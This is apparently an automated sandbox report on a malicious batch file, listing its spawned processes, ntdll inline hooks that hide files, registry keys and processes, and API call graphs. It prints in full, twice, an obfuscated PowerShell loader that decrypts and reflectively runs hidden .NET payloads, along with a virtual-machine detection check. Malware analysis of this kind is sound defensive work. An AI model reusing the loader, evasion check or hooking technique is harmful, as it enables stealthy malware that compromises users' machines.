ZwResumeThread	INLINE	explorer.exe, winlogon.exe
NtDeviceIoControlFile	INLINE	explorer.exe, winlogon.exe
ZwDeviceIoControlFile	INLINE	explorer.exe, winlogon.exe
NtEnumerateKey	INLINE	explorer.exe, winlogon.exe
NtQueryDirectoryFile	INLINE	explorer.exe, winlogon.exe
ZwEnumerateValueKey	INLINE	explorer.exe, winlogon.exe
ZwQuerySystemInformation	INLINE	explorer.exe, winlogon.exe
NtResumeThread	INLINE	explorer.exe, winlogon.exe
RtlGetNativeSystemInformation	INLINE	explorer.exe, winlogon.exe
NtQueryDirectoryFileEx	INLINE	explorer.exe, winlogon.exe
NtEnumerateValueKey	INLINE	explorer.exe, winlogon.exe
ZwQueryDirectoryFileEx	INLINE	explorer.exe, winlogon.exe
ZwQueryDirectoryFile	INLINE	explorer.exe, winlogon.exe

Processes

Process: explorer.exe, Module: ntdll.dll

Function Name	Hook Type	New Data
ZwEnumerateKey	INLINE	0xE9 0x9C 0xC3 0x32 0x2C 0xCF
NtQuerySystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
ZwResumeThread	INLINE	0xE9 0x9A 0xA3 0x32 0x27 0x7F
NtDeviceIoControlFile	INLINE	0xE9 0x90 0x03 0x33 0x34 0x4F
ZwDeviceIoControlFile	INLINE	0xE9 0x90 0x03 0x33 0x34 0x4F
NtEnumerateKey	INLINE	0xE9 0x9C 0xC3 0x32 0x2C 0xCF
NtQueryDirectoryFile	INLINE	0xE9 0x9A 0xA3 0x32 0x2B 0xBF
ZwEnumerateValueKey	INLINE	0xE9 0x90 0x03 0x33 0x31 0x1F
ZwQuerySystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
NtResumeThread	INLINE	0xE9 0x9A 0xA3 0x32 0x27 0x7F
RtlGetNativeSystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
NtQueryDirectoryFileEx	INLINE	0xE9 0x97 0x73 0x30 0x0A 0xAF
NtEnumerateValueKey	INLINE	0xE9 0x90 0x03 0x33 0x31 0x1F
ZwQueryDirectoryFileEx	INLINE	0xE9 0x97 0x73 0x30 0x0A 0xAF
ZwQueryDirectoryFile	INLINE	0xE9 0x9A 0xA3 0x32 0x2B 0xBF

Process: winlogon.exe, Module: ntdll.dll

Function Name	Hook Type	New Data
ZwEnumerateKey	INLINE	0xE9 0x9C 0xC3 0x32 0x2C 0xCF
NtQuerySystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
ZwResumeThread	INLINE	0xE9 0x9A 0xA3 0x32 0x27 0x7F
NtDeviceIoControlFile	INLINE	0xE9 0x90 0x03 0x33 0x34 0x4F
ZwDeviceIoControlFile	INLINE	0xE9 0x90 0x03 0x33 0x34 0x4F
NtEnumerateKey	INLINE	0xE9 0x9C 0xC3 0x32 0x2C 0xCF
NtQueryDirectoryFile	INLINE	0xE9 0x9A 0xA3 0x32 0x2B 0xBF
ZwEnumerateValueKey	INLINE	0xE9 0x90 0x03 0x33 0x31 0x1F
ZwQuerySystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
NtResumeThread	INLINE	0xE9 0x9A 0xA3 0x32 0x27 0x7F
RtlGetNativeSystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
NtQueryDirectoryFileEx	INLINE	0xE9 0x97 0x73 0x30 0x0A 0xAF
NtEnumerateValueKey	INLINE	0xE9 0x90 0x03 0x33 0x31 0x1F
ZwQueryDirectoryFileEx	INLINE	0xE9 0x97 0x73 0x30 0x0A 0xAF
ZwQueryDirectoryFile	INLINE	0xE9 0x9A 0xA3 0x32 0x2B 0xBF

Target ID:	6
Start time:	07:31:07
Start date:	13/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\product.bat" "
Imagebase:	0x7ff77aae0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	07:31:07
Start date:	13/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	07:31:08
Start date:	13/12/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic diskdrive get Model
Imagebase:	0x7ff7fa7f0000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	07:31:08
Start date:	13/12/2024
Path:	C:\Windows\System32\findstr.exe
Wow64 process (32bit):	false
Commandline:	findstr /i /c:"QEMU HARDDISK" /c:"WDS100T2B0A" /c:"DADY HARDDISK"
Imagebase:	0x7ff6904f0000
File size:	36'352 bytes
MD5 hash:	804A6AE28E88689E0CF1946A6CB3FEE5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	07:31:10
Start date:	13/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c echo function vhVnA($zVdEq){ $TQYfY=[System.Security.Cryptography.Aes]::Create(); $TQYfY.Mode=[System.Security.Cryptography.CipherMode]::CBC; $TQYfY.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $TQYfY.Key=[System.Convert]::FromBase64String('axHRlwLJv4pwkbOf9iAIJflO6gLEZt+6bKCh3RuytCA='); $TQYfY.IV=[System.Convert]::FromBase64String('TxAvkYK6lZIDMpmpV8o+4Q=='); $bqyNP=$TQYfY.CreateDecryptor(); $fZHAT=$bqyNP.TransformFinalBlock($zVdEq, 0, $zVdEq.Length); $bqyNP.Dispose(); $TQYfY.Dispose(); $fZHAT;}function FpYMp($zVdEq){ Invoke-Expression '$fEGds=New-Object System.IO.MemoryStream(,$zVdEq);'.Replace('', ''); Invoke-Expression '$xpQRA=New-Object System.IO.MemoryStream;'.Replace('', ''); Invoke-Expression '$mCrfz=New-Object System.IO.Compression.GZipStream($fEGds, [IO.Compression.CompressionMode]::Decompress);'.Replace('', ''); $mCrfz.CopyTo($xpQRA); $mCrfz.Dispose(); $fEGds.Dispose(); $xpQRA.Dispose(); $xpQRA.ToArray();}function zHrKT($zVdEq,$ulmvt){ Invoke-Expression '$kTVmP=[System.Reflection.Assembly]::Load([byte[]]$zVdEq);'.Replace('', ''); Invoke-Expression '$aPGUN=$kTVmP.EntryPoint;'.Replace('', ''); Invoke-Expression '$aPGUN.Invoke($null, $ulmvt);'.Replace('', '');}$SQOtV = 'C:\Users\user\Desktop\product.bat';$host.UI.RawUI.WindowTitle = $SQOtV;$KFKSq=[System.IO.File]::ReadAllText($SQOtV).Split([Environment]::NewLine);foreach ($vmudF in $KFKSq) { if ($vmudF.StartsWith('iecMs')) { $hJZkz=$vmudF.Substring(5); break; }}$bRzqF=[string[]]$hJZkz.Split('\');Invoke-Expression '$STi = FpYMp (vhVnA ([Convert]::FromBase64String($bRzqF[0].Replace("#", "/").Replace("@", "A"))));'.Replace('', '');Invoke-Expression '$JnT = FpYMp (vhVnA ([Convert]::FromBase64String($bRzqF[1].Replace("#", "/").Replace("@", "A"))));'.Replace('', '');Invoke-Expression '$UpD = FpYMp (vhVnA ([Convert]::FromBase64String($bRzqF[2].Replace("#", "/").Replace("@", "A"))));'.Replace('', '');zHrKT $STi $null;zHrKT $JnT $null;zHrKT $UpD (,[string[]] (''));
Imagebase:	0x7ff77aae0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	07:31:10
Start date:	13/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -WindowStyle Hidden
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	07:31:21
Start date:	13/12/2024
Path:	C:\Windows\System32\dllhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\dllhost.exe /Processid:{372c9116-8a11-4207-941c-c83db9f8d8a2}
Imagebase:	0x7ff7d8730000
File size:	21'312 bytes
MD5 hash:	08EB78E5BE019DF044C26B14703BD1FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	07:31:21
Start date:	13/12/2024
Path:	C:\Windows\System32\winlogon.exe
Wow64 process (32bit):	false
Commandline:	winlogon.exe
Imagebase:	0x7ff6fc1b0000
File size:	906'240 bytes
MD5 hash:	F8B41A1B3E569E7E6F990567F21DCE97
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	07:31:22
Start date:	13/12/2024
Path:	C:\Windows\System32\lsass.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\lsass.exe
Imagebase:	0x7ff6d9390000
File size:	59'456 bytes
MD5 hash:	A1CC00332BBF370654EE3DC8CDC8C95A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	17
Start time:	07:31:22
Start date:	13/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	18
Start time:	07:31:22
Start date:	13/12/2024
Path:	C:\Windows\System32\dwm.exe
Wow64 process (32bit):	false
Commandline:	"dwm.exe"
Imagebase:	0x7ff74b010000
File size:	94'720 bytes
MD5 hash:	5C27608411832C5B39BA04E33D53536C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	19
Start time:	07:31:22
Start date:	13/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /C type C:\Users\user\Desktop\product.bat>C:\Windows\$rbx-onimai2\$rbx-CO2.bat
Imagebase:	0x7ff77aae0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	07:31:22
Start date:	13/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	07:31:26
Start date:	13/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Windows\$rbx-onimai2\$rbx-CO2.bat" "
Imagebase:	0x7ff77aae0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	23
Start time:	07:31:26
Start date:	13/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	24
Start time:	07:31:26
Start date:	13/12/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic diskdrive get Model
Imagebase:	0x7ff7fa7f0000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	07:31:26
Start date:	13/12/2024
Path:	C:\Windows\System32\findstr.exe
Wow64 process (32bit):	false
Commandline:	findstr /i /c:"QEMU HARDDISK" /c:"WDS100T2B0A" /c:"DADY HARDDISK"
Imagebase:	0x7ff6904f0000
File size:	36'352 bytes
MD5 hash:	804A6AE28E88689E0CF1946A6CB3FEE5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	08:46:25
Start date:	13/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	27
Start time:	08:46:27
Start date:	13/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	28
Start time:	08:46:28
Start date:	13/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	29
Start time:	08:46:28
Start date:	13/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	30
Start time:	08:46:29
Start date:	13/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	31
Start time:	08:46:30
Start date:	13/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	32
Start time:	08:46:30
Start date:	13/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	33
Start time:	08:46:31
Start date:	13/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	34
Start time:	08:46:31
Start date:	13/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c echo function vhVnA($zVdEq){ $TQYfY=[System.Security.Cryptography.Aes]::Create(); $TQYfY.Mode=[System.Security.Cryptography.CipherMode]::CBC; $TQYfY.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $TQYfY.Key=[System.Convert]::FromBase64String('axHRlwLJv4pwkbOf9iAIJflO6gLEZt+6bKCh3RuytCA='); $TQYfY.IV=[System.Convert]::FromBase64String('TxAvkYK6lZIDMpmpV8o+4Q=='); $bqyNP=$TQYfY.CreateDecryptor(); $fZHAT=$bqyNP.TransformFinalBlock($zVdEq, 0, $zVdEq.Length); $bqyNP.Dispose(); $TQYfY.Dispose(); $fZHAT;}function FpYMp($zVdEq){ Invoke-Expression '$fEGds=New-Object System.IO.MemoryStream(,$zVdEq);'.Replace('', ''); Invoke-Expression '$xpQRA=New-Object System.IO.MemoryStream;'.Replace('', ''); Invoke-Expression '$mCrfz=New-Object System.IO.Compression.GZipStream($fEGds, [IO.Compression.CompressionMode]::Decompress);'.Replace('', ''); $mCrfz.CopyTo($xpQRA); $mCrfz.Dispose(); $fEGds.Dispose(); $xpQRA.Dispose(); $xpQRA.ToArray();}function zHrKT($zVdEq,$ulmvt){ Invoke-Expression '$kTVmP=[System.Reflection.Assembly]::Load([byte[]]$zVdEq);'.Replace('', ''); Invoke-Expression '$aPGUN=$kTVmP.EntryPoint;'.Replace('', ''); Invoke-Expression '$aPGUN.Invoke($null, $ulmvt);'.Replace('', '');}$SQOtV = 'C:\Windows\$rbx-onimai2\$rbx-CO2.bat';$host.UI.RawUI.WindowTitle = $SQOtV;$KFKSq=[System.IO.File]::ReadAllText($SQOtV).Split([Environment]::NewLine);foreach ($vmudF in $KFKSq) { if ($vmudF.StartsWith('iecMs')) { $hJZkz=$vmudF.Substring(5); break; }}$bRzqF=[string[]]$hJZkz.Split('\');Invoke-Expression '$STi = FpYMp (vhVnA ([Convert]::FromBase64String($bRzqF[0].Replace("#", "/").Replace("@", "A"))));'.Replace('', '');Invoke-Expression '$JnT = FpYMp (vhVnA ([Convert]::FromBase64String($bRzqF[1].Replace("#", "/").Replace("@", "A"))));'.Replace('', '');Invoke-Expression '$UpD = FpYMp (vhVnA ([Convert]::FromBase64String($bRzqF[2].Replace("#", "/").Replace("@", "A"))));'.Replace('', '');zHrKT $STi $null;zHrKT $JnT $null;zHrKT $UpD (,[string[]] (''));
Imagebase:	0x7ff77aae0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	08:46:31
Start date:	13/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -WindowStyle Hidden
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	36
Start time:	08:46:31
Start date:	13/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	37
Start time:	08:46:34
Start date:	13/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	38
Start time:	08:46:34
Start date:	13/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	39
Start time:	08:46:34
Start date:	13/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	40
Start time:	08:46:35
Start date:	13/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	41
Start time:	08:46:35
Start date:	13/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	42
Start time:	08:46:36
Start date:	13/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalService -p
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	43
Start time:	08:46:36
Start date:	13/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	44
Start time:	08:46:36
Start date:	13/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	45
Start time:	08:46:37
Start date:	13/12/2024
Path:	C:\Windows\System32\dllhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\dllhost.exe /Processid:{29a28251-c10b-42e7-8393-a6c218333ff2}
Imagebase:	0x7ff7d8730000
File size:	21'312 bytes
MD5 hash:	08EB78E5BE019DF044C26B14703BD1FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	46
Start time:	08:46:38
Start date:	13/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	47
Start time:	08:46:38
Start date:	13/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalService -p -s FontCache
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	48
Start time:	08:46:39
Start date:	13/12/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\schtasks.exe" /Delete /TN "$rbx-CNT1" /F
Imagebase:	0x7ff62d520000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	08:46:39
Start date:	13/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	08:46:39
Start date:	13/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	44.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	72.9%
Total number of Nodes:	251
Total number of Limit Nodes:	30

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 0000000140002D4C Relevance: 84.3, APIs: 36, Strings: 12, Instructions: 258
registrymemorythreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0000000140002A0C: StrCpyW.SHLWAPI ref: 0000000140002A3D
Part of subcall function 0000000140002A0C: StrCatW.SHLWAPI ref: 0000000140002A4B
Part of subcall function 0000000140002A0C: GetModuleHandleW.KERNEL32 ref: 0000000140002A54
Part of subcall function 0000000140002A0C: GetCurrentProcess.KERNEL32 ref: 0000000140002A74
Part of subcall function 0000000140002A0C: K32GetModuleInformation.KERNEL32 ref: 0000000140002A88
Part of subcall function 0000000140002A0C: CreateFileW.KERNELBASE ref: 0000000140002AB8
Part of subcall function 0000000140002A0C: CreateFileMappingW.KERNELBASE ref: 0000000140002AE2
Part of subcall function 0000000140002A0C: MapViewOfFile.KERNELBASE ref: 0000000140002B05
Part of subcall function 0000000140002A0C: lstrcmpiA.KERNEL32 ref: 0000000140002B5B
Part of subcall function 0000000140002A0C: CloseHandle.KERNELBASE ref: 0000000140002BC7
Part of subcall function 0000000140002A0C: CloseHandle.KERNEL32 ref: 0000000140002BD0
Part of subcall function 0000000140002A0C: FreeLibrary.KERNEL32 ref: 0000000140002BD9

Part of subcall function 0000000140002A0C: VirtualProtect.KERNEL32 ref: 0000000140002B8E
Part of subcall function 0000000140002A0C: VirtualProtect.KERNEL32 ref: 0000000140002BBE

GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D41), ref: 0000000140002D74
OpenProcess.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D41), ref: 0000000140002D84
OpenProcessToken.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D41), ref: 0000000140002D9E
LookupPrivilegeValueW.ADVAPI32 ref: 0000000140002DB5
AdjustTokenPrivileges.KERNELBASE ref: 0000000140002DED
GetLastError.KERNEL32 ref: 0000000140002DF7
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D41), ref: 0000000140002E00
